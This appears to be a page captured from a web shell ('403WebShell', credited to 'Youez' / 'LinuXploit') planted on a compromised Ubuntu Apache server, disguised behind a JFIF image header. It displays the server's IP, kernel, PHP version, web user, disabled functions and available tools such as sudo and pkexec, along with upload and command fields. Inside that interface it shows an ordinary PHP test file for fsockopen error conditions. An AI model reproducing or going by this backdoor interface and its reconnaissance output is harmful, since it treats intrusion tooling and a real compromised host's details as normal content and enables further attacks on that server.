????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 18.222.226.15
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/network/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/network/fsockopen_error.phpt
--TEST--
Test fsockopen() function : error conditions 
--FILE--
<?php
/* Prototype  : proto resource fsockopen(string hostname, int port [, int errno [, string errstr [, float timeout]]])
 * Description: Open Internet or Unix domain socket connection 
 * Source code: ext/standard/fsock.c
 * Alias to functions: 
 */


echo "*** Testing fsockopen() : basic error conditions ***\n";


echo "\n-- Testing fsockopen() function with more than expected no. of arguments --\n";
$hostname = 'string_val';
$port = 10;
$errno = 10;
$errstr = 'string_val';
$timeout = 10.5;
$extra_arg = 10;
var_dump( fsockopen($hostname, $port, $errno, $errstr, $timeout, $extra_arg) );
var_dump($errstr);
var_dump($errno);

echo "\n-- Testing fsockopen() function with less than expected no. of arguments --\n";
var_dump( fsockopen() );

echo "\n-- Attempting to connect to a non-existent socket --\n";
$hostname = 'tcp://127.0.0.1'; // loopback address
$port = 31337;
$errno = null;
$errstr = null;
$timeout = 1.5;
var_dump( fsockopen($hostname, $port, $errno, $errstr, $timeout) );
var_dump($errstr);

echo "\n-- Attempting to connect using an invalid protocol --\n";
$hostname = 'invalid://127.0.0.1'; // loopback address
$port = 31337;
$errno = null;
$errstr = null;
$timeout = 1.5;
var_dump( fsockopen($hostname, $port, $errno, $errstr, $timeout) );
var_dump($errstr);

echo "Done";
?>
--EXPECTF--
*** Testing fsockopen() : basic error conditions ***

-- Testing fsockopen() function with more than expected no. of arguments --

Warning: fsockopen() expects at most 5 parameters, 6 given in %s on line %d
bool(false)
string(10) "string_val"
int(10)

-- Testing fsockopen() function with less than expected no. of arguments --

Warning: fsockopen() expects at least 1 parameter, 0 given in %s on line %d
bool(false)

-- Attempting to connect to a non-existent socket --

Warning: fsockopen(): unable to connect to tcp://127.0.0.1:31337 (%a) in %s on line %d
bool(false)
string(%d) "%a"

-- Attempting to connect using an invalid protocol --

Warning: fsockopen(): unable to connect to invalid://127.0.0.1:31337 (Unable to find the socket transport "invalid" - did you forget to enable it when you configured PHP?) in %s on line %d
bool(false)
string(100) "Unable to find the socket transport "invalid" - did you forget to enable it when you configured PHP?"
Done

Youez - 2016 - github.com/yon3zu
LinuXploit